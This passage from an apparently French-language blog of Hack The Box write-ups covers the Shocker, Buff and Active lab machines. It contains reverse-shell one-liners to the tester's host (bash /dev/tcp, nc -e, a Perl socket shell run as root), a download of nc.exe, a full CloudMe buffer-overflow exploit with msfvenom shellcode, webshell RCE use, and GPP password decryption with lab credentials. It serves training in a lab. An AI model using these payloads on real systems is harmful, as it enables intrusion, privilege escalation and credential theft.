 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84


$ python2 shocker.py --Host=shocker.htb --cgi /cgi-bin/user.sh --command whoami

 .-. . .
 ( )| |
 `-. |--. .-. .-.|.-. .-. .--.
 ( )| |( )( |-.'(.-' |
 `-' ' `-`-' `-'' `-`--'' v1.1

 Tom Watson, tom.watson@nccgroup.trust
 https://www.github.com/nccgroup/shocker

 Released under the GNU Affero General Public License
 (https://www.gnu.org/licenses/agpl-3.0.html)


[+] Single target '/cgi-bin/user.sh' being used
[+] Checking connectivity with target...
[+] Target was reachable
[+] Looking for vulnerabilities on shocker.htb:80
[+] 1 potential target found, attempting exploits
[+] The following URLs appear to be exploitable:
 [1] http://shocker.htb:80/cgi-bin/user.sh
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: ls
[+] The following URLs appear to be exploitable:
 [1] http://shocker.htb:80/cgi-bin/user.sh
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 1
[+] Entering interactive mode for http://shocker.htb:80/cgi-bin/user.sh
[+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'
 > whoami
 > No response
 > id
 > No response
 > /bin/id
 > No response
 > /bin/cat /etc/passwd
 < root:x:0:0:root:/root:/bin/bash
 < daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 < bin:x:2:2:bin:/bin:/usr/sbin/nologin
 < sys:x:3:3:sys:/dev:/usr/sbin/nologin
 < sync:x:4:65534:sync:/bin:/bin/sync
 < games:x:5:60:games:/usr/games:/usr/sbin/nologin
 < man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 < lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 < mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 < news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 < uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 < proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 < www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 < backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 < list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 < irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
 < gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 < nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 < systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
 < systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
 < systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
 < systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
 < syslog:x:104:108::/home/syslog:/bin/false
 < _apt:x:105:65534::/nonexistent:/bin/false
 < lxd:x:106:65534::/var/lib/lxd/:/bin/false
 < messagebus:x:107:111::/var/run/dbus:/bin/false
 < uuidd:x:108:112::/run/uuidd:/bin/false
 < dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
 < sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
 < shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash
 > sh -i >& /dev/tcp/10.10.14.42/6666 0>&1
 > No response
 > sh -i >& /dev/tcp/10.10.14.42/6666 0>&1
 > No response
 > python3 --version
 > No response
 > python3 --version >& /dev/tcp/10.10.14.42/6666 0>&1
 > No response
 > python3 --version >& /dev/tcp/10.10.14.42/6666 0>&1
 > No response
 > nc 10.10.14.42 6666 -e sh
 > No response
 > locate nc
 > No response
 > /bin/cat /home/*/user.txt
 < c4bf.....3bf6
 >

Shell as shelly

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


....
 > /bin/bash -i >& /dev/tcp/10.10.14.42/6666 0>&1
 > No response
 >

--------------------------

$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.56] 40886
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly

Privilege Escalation

Enumeration

On peut executer n’importe quel script perl en tant que root… J’ai donc récupérer un reverse shell en perl et je l’ai executé.

1
2
3
4
5
6
7


shelly@Shocker:/tmp$ sudo -l
Matching Defaults entries for shelly on Shocker:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
 (root) NOPASSWD: /usr/bin/perl

Perl as root

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


shelly@Shocker:/tmp$ cat root.pl
use Socket;$i="10.10.14.42";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};
shelly@Shocker:/tmp$ sudo /usr/bin/perl root.pl

------------------------------------------------------------

$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.56] 59474
## whoami
root
## python3 -c "import pty;pty.spawn('/bin/bash')"
root@Shocker:/tmp# export TERM=xterm
export TERM=xterm
root@Shocker:/tmp# ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~/htb/shocker/shocker]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

root@Shocker:/tmp#
root@Shocker:/tmp# whoami
root
root@Shocker:/tmp# cd /root
root@Shocker:~# ls
root.txt
root@Shocker:~# cat root.txt
adcd.....c16c

Bonus

Enumeration shellshock vuln with nmap script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


┌──(kali㉿kali)-[~/htb/shocker]
└─$ locate nse | grep shellshock
/usr/share/nmap/scripts/http-shellshock.nse

┌──(kali㉿kali)-[~/htb/shocker]
└─$ cat /usr/share/nmap/scripts/http-shellshock.nse | grep nmap
-- nmap -sV -p- --script http-shellshock <target>
-- nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

┌──(kali㉿kali)-[~/htb/shocker]
└─$ nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls shocker.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 08:33 EST
Nmap scan report for shocker.htb (10.10.10.56)
Host is up (0.019s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| Exploit results:
| <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
| <html><head>
| <title>500 Internal Server Error</title>
| </head><body>
| <h1>Internal Server Error</h1>
| <p>The server encountered an internal error or
| misconfiguration and was unable to complete
| your request.</p>
| <p>Please contact the server administrator at
| webmaster@localhost to inform them of the time this error occurred,
| and the actions you performed just before this error.</p>
| <p>More information about this error may be available
| in the server error log.</p>
| <hr>
| <address>Apache/2.4.18 (Ubuntu) Server at shocker.htb Port 80</address>
| </body></html>
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
| http://seclists.org/oss-sec/2014/q3/685
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|_ http://www.openwall.com/lists/oss-security/2014/09/24/10

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

HTB | Buff

Sun, 12 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Buff	Windows	10.10.10.198	Easy

IP

1

10.10.10.198

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ nmap -sS -sV -An -p- -vvv -T4 10.10.10.198

PORT STATE SERVICE REASON VERSION
7680/tcp open pando-pub? syn-ack ttl 127
8080/tcp open http syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: mrb3n's Bro Hut
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

Foothold

Directory enumeration : buff.htb - port 8080

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


$ gobuster dir -u http://buff.htb:8080/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://buff.htb:8080/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/profile (Status: 301) [Size: 337] [--> http://buff.htb:8080/profile/]
/img (Status: 301) [Size: 333] [--> http://buff.htb:8080/img/]
/upload (Status: 301) [Size: 336] [--> http://buff.htb:8080/upload/]
/license (Status: 200) [Size: 18025]
/include (Status: 301) [Size: 337] [--> http://buff.htb:8080/include/]
/examples (Status: 503) [Size: 1054]
/licenses (Status: 403) [Size: 1199]
/Profile (Status: 301) [Size: 337] [--> http://buff.htb:8080/Profile/]
/LICENSE (Status: 200) [Size: 18025]
/att (Status: 301) [Size: 333] [--> http://buff.htb:8080/att/]
/%20 (Status: 403) [Size: 1040]
/IMG (Status: 301) [Size: 333] [--> http://buff.htb:8080/IMG/]
/License (Status: 200) [Size: 18025]
/ex (Status: 301) [Size: 332] [--> http://buff.htb:8080/ex/]
/*checkout* (Status: 403) [Size: 1040]
/Img (Status: 301) [Size: 333] [--> http://buff.htb:8080/Img/]
/boot (Status: 301) [Size: 334] [--> http://buff.htb:8080/boot/]
/Upload (Status: 301) [Size: 336] [--> http://buff.htb:8080/Upload/]
/phpmyadmin (Status: 403) [Size: 1199]
/webalizer (Status: 403) [Size: 1040]
/*docroot* (Status: 403) [Size: 1040]
/* (Status: 403) [Size: 1040]
/con (Status: 403) [Size: 1040]
/Include (Status: 301) [Size: 337] [--> http://buff.htb:8080/Include/]
/http%3A (Status: 403) [Size: 1040]
/**http%3a (Status: 403) [Size: 1040]
/*http%3A (Status: 403) [Size: 1040]
/aux (Status: 403) [Size: 1040]
/Boot (Status: 301) [Size: 334] [--> http://buff.htb:8080/Boot/]
/**http%3A (Status: 403) [Size: 1040]
/%C0 (Status: 403) [Size: 1040]
/server-status (Status: 403) [Size: 1199]
/%3FRID%3D2671 (Status: 403) [Size: 1040]
/devinmoore* (Status: 403) [Size: 1040]
/Ex (Status: 301) [Size: 332] [--> http://buff.htb:8080/Ex/]
...

Le /ex est intéressant et indique des infos avec une erreur mysqli !

1

Warning: mysqli::__construct(): (HY000/1049): Unknown database 'secure_login' in C:\xampp\htdocs\gym\ex\include\db_connect.php on line 3

Gym Management System 1.0 - Unauthenticated RCE

On recherche “Gym” dans searchsploit ou sur internet on trouve rapidement un exploit python permettant d’uploader un fichier php et d’executer n’importe quelle commande.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


$ python3 exploit2.py http://buff.htb:8080/
/home/kali/htb/Buff/exploit2.py:77: SyntaxWarning: invalid escape sequence '\/'
 SIG += BL+' \/'+RS+'\n'
 /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
 \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> powershell cat ../../../../Users/shaun/Desktop/user.txt
PNG
▒
b6a5....ce0d3

Stablize shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.198 - - [07/Jan/2025 17:07:08] "GET /nc.exe HTTP/1.1" 200 -

--------------------------------------------------------------
# RCE from website

C:\xampp\htdocs\gym\upload> curl -O http://10.10.14.42:8888/nc.exe

C:\xampp\htdocs\gym\upload> nc.exe 10.10.14.42 1337 -e cmd.exe

--------------------------------------------------------------

$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.198] 50531
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

C:\xampp\htdocs\gym\upload>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\gym\upload>

Privilege escalation

CloudMe_1112.exe

En fouillant dans les fichiers, on trouve un exectutable CloudMe_1112.exe. Il se trouve que cette version tourne par défaut sur le port 8888 lorsqu’on l’execute, ce qui est bien le cas pour notre machine

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


PS C:\xampp\htdocs\gym\upload> tasklist | findstr Cloud
tasklist | findstr Cloud
CloudMe.exe 284 0 18,048 K
PS C:\xampp\htdocs\gym\upload> netstat -ano | findstr LISTENING
netstat -ano | findstr LISTENING
 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 944
 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 6188
 TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 7832
 TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 8820
 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 524
 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1064
 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1644
 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2248
 TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 668
 TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 684
 TCP 10.10.10.198:139 0.0.0.0:0 LISTENING 4
 TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING 8936
 TCP [::]:135 [::]:0 LISTENING 944
 TCP [::]:445 [::]:0 LISTENING 4
 TCP [::]:7680 [::]:0 LISTENING 7832
 TCP [::]:8080 [::]:0 LISTENING 8820
 TCP [::]:49664 [::]:0 LISTENING 524
 TCP [::]:49665 [::]:0 LISTENING 1064
 TCP [::]:49666 [::]:0 LISTENING 1644
 TCP [::]:49667 [::]:0 LISTENING 2248
 TCP [::]:49668 [::]:0 LISTENING 668
 TCP [::]:49669 [::]:0 LISTENING 684

CloudMe 1.11.2 - Buffer Overflow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ searchsploit cloudme
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py <----------------------

CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit) | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass) | windows_x86-64/remote/44784.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Le fichier python contient un payload généré avec msfvenom mais qui ne fonctionne pas pour notre windows 10 x64 victime. Nous avons donc généré un nouveau payload. Ensuite, on a remplacer ce code dans le python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.42 LPORT=9001 -b '\x00\x0A\x0D' -f python
...
...

$ cat exploit_cloudme.py
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30

buf = b""
buf += b"\xbb\x9b\xa8\x51\x15\xdb\xd1\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x52\x31\x5e\x12\x83\xc6\x04\x03\xc5"
buf += b"\xa6\xb3\xe0\x05\x5e\xb1\x0b\xf5\x9f\xd6\x82\x10"
buf += b"\xae\xd6\xf1\x51\x81\xe6\x72\x37\x2e\x8c\xd7\xa3"
buf += b"\xa5\xe0\xff\xc4\x0e\x4e\x26\xeb\x8f\xe3\x1a\x6a"
buf += b"\x0c\xfe\x4e\x4c\x2d\x31\x83\x8d\x6a\x2c\x6e\xdf"
buf += b"\x23\x3a\xdd\xcf\x40\x76\xde\x64\x1a\x96\x66\x99"
buf += b"\xeb\x99\x47\x0c\x67\xc0\x47\xaf\xa4\x78\xce\xb7"
buf += b"\xa9\x45\x98\x4c\x19\x31\x1b\x84\x53\xba\xb0\xe9"
buf += b"\x5b\x49\xc8\x2e\x5b\xb2\xbf\x46\x9f\x4f\xb8\x9d"
buf += b"\xdd\x8b\x4d\x05\x45\x5f\xf5\xe1\x77\x8c\x60\x62"
buf += b"\x7b\x79\xe6\x2c\x98\x7c\x2b\x47\xa4\xf5\xca\x87"
buf += b"\x2c\x4d\xe9\x03\x74\x15\x90\x12\xd0\xf8\xad\x44"
buf += b"\xbb\xa5\x0b\x0f\x56\xb1\x21\x52\x3f\x76\x08\x6c"
buf += b"\xbf\x10\x1b\x1f\x8d\xbf\xb7\xb7\xbd\x48\x1e\x40"
buf += b"\xc1\x62\xe6\xde\x3c\x8d\x17\xf7\xfa\xd9\x47\x6f"
buf += b"\x2a\x62\x0c\x6f\xd3\xb7\x83\x3f\x7b\x68\x64\xef"
buf += b"\x3b\xd8\x0c\xe5\xb3\x07\x2c\x06\x1e\x20\xc7\xfd"
buf += b"\xc9\x45\x12\xf3\x23\x32\x20\x0b\x17\xeb\xad\xed"
buf += b"\x3d\xfb\xfb\xa6\xa9\x62\xa6\x3c\x4b\x6a\x7c\x39"
buf += b"\x4b\xe0\x73\xbe\x02\x01\xf9\xac\xf3\xe1\xb4\x8e"
buf += b"\x52\xfd\x62\xa6\x39\x6c\xe9\x36\x37\x8d\xa6\x61"
buf += b"\x10\x63\xbf\xe7\x8c\xda\x69\x15\x4d\xba\x52\x9d"
buf += b"\x8a\x7f\x5c\x1c\x5e\x3b\x7a\x0e\xa6\xc4\xc6\x7a"
buf += b"\x76\x93\x90\xd4\x30\x4d\x53\x8e\xea\x22\x3d\x46"
buf += b"\x6a\x09\xfe\x10\x73\x44\x88\xfc\xc2\x31\xcd\x03"
buf += b"\xea\xd5\xd9\x7c\x16\x46\x25\x57\x92\x76\x6c\xf5"
buf += b"\xb3\x1e\x29\x6c\x86\x42\xca\x5b\xc5\x7a\x49\x69"
buf += b"\xb6\x78\x51\x18\xb3\xc5\xd5\xf1\xc9\x56\xb0\xf5"
buf += b"\x7e\x56\x91"

payload = buf

overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun

try:
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((target,8888))
 s.send(buf)
except Exception as e:
 print(sys.exc_value)

Chisel - port forwarding (8888)

Mise en place de chisel, pour dupliquer le port 8888 de la machine cible sur la machine locale. EN effet, ce port n’est accessible que depuis la machine cible normalement : Or, pour exploiter notre vuln, avec le script python , il faut que le port soit accessible sur notre machine local qui dispose bien de python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


kali@kali:~/htb/Buff$ ./chisel server -p 1082 --reverse
2025/01/10 20:17:44 server: Reverse tunnelling enabled
2025/01/10 20:17:44 server: Fingerprint iiSKQuGUrbyvUjt5afbcmjecM6T6JHMCaV2+4LBLk3g=
2025/01/10 20:17:44 server: Listening on http://0.0.0.0:1082

2025/01/10 20:19:07 server: session#1: tun: proxy#R:8888=>localhost:8888: Listening

-------------------------------------------------------------------------
# Windows target
PS C:\xampp\htdocs\gym\upload> .\chisel.exe client 10.10.14.42:1082 R:8888:localhost:8888
.\chisel.exe client 10.10.14.42:1082 R:8888:localhost:8888
2025/01/11 01:19:06 client: Connecting to ws://10.10.14.42:1082
2025/01/11 01:19:07 client: Connected (Latency 22.8931ms)

Exploitation (root.txt)

Enfin, on execute l’exploit final et on obtient un shell en tant que root sur la machine windows :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


┌──(kali㉿kali)-[~/htb/Buff]
└─$ python3 exploit_cloudme.py

┌──(kali㉿kali)-[~/htb/Buff]
└─$ python3 exploit_cloudme.py

┌──(kali㉿kali)-[~/htb/Buff]
└─$ python3 exploit_cloudme.py

--------------------------------------------------

$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.198] 49685
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

C:\Windows\system32>cd ../../Users/Administrator/Desktop
cd ../../Users/Administrator/Desktop

C:\Users\Administrator\Desktop>cat root.txt
cat root.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
39c4....c39f

C:\Users\Administrator\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Desktop> whoami
whoami
buff\administrator

HTB | Active

Sun, 05 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Active	Windows	10.10.10.100	Easy

Users

1
2


SVC_TGS : GPPstillStandingStrong2k18
Administrator : Ticketmaster1968

Version

Windows Server 2008 R2 SP1

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


nmap -sC -sV -An -p- 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 17:12 EST
Nmap scan report for 10.10.10.100
Host is up (0.027s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-12 22:12:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC

Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-12T22:13:57
|_ start_date: 2024-12-12T22:09:06

enu4mlinux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


[+] Got OS info for 10.10.10.100 from srvinfo:
 10.10.10.100 Wk Sv PDC Tim NT Domain Controller
 platform_id : 500
 os version : 6.1
 server type : 0x80102b

 =================================( Share Enumeration on 10.10.10.100 )=================================

do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 IPC$ IPC Remote IPC
 NETLOGON Disk Logon server share
 Replication Disk
 SYSVOL Disk Logon server share
 Users Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.100

//10.10.10.100/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/C$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/IPC$ Mapping: OK Listing: DENIED Writing: N/A
//10.10.10.100/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Replication Mapping: OK Listing: OK Writing: N/A
//10.10.10.100/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Users Mapping: DENIED Listing: N/A Writing: N/A

Foothold

En fouillant le SMB share “replication” accessible avec un utilisateur anonyme, on trouve un fichier intéressant parmis les autres:

Groups.xml

Il semble contenir un mot de passe chiffré.

Explication de ChatGPT :

Le mot de passe chiffré dans le champ cpassword que vous montrez est très probablement encodé en AES-256-CBC et fait partie d’une configuration XML de stratégie de groupe Windows (Group Policy Preferences, ou GPP). Ces cpassword sont généralement liés à des configurations de comptes d’utilisateurs déployés via les GPP.

GPP Exploitation

On déchiffre le mot de passe, ce qui nous donne : GPPstillStandingStrong2k18 Le username associé est également donné dans le xml : SVC_TGS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


smbclient --no-pass //10.10.10.100/Replication
...

┌──(kali㉿kali)-[~]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

┌──(kali㉿kali)-[~]
└─$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18

En scannat a nouveau les shares SMB, cette fois-ci avec notre user/password obtenu, on voit qu’on a acces au share “Users” en readonly. On y trouve un dossier avec le nom de notre utilisateur et tous ces fichiers Windows, avec le flag user.txt :

1fc4…..a676

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


┌──(kali㉿kali)-[~/htb/Active/bloodhound1]
└─$ smbclient //10.10.10.100/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
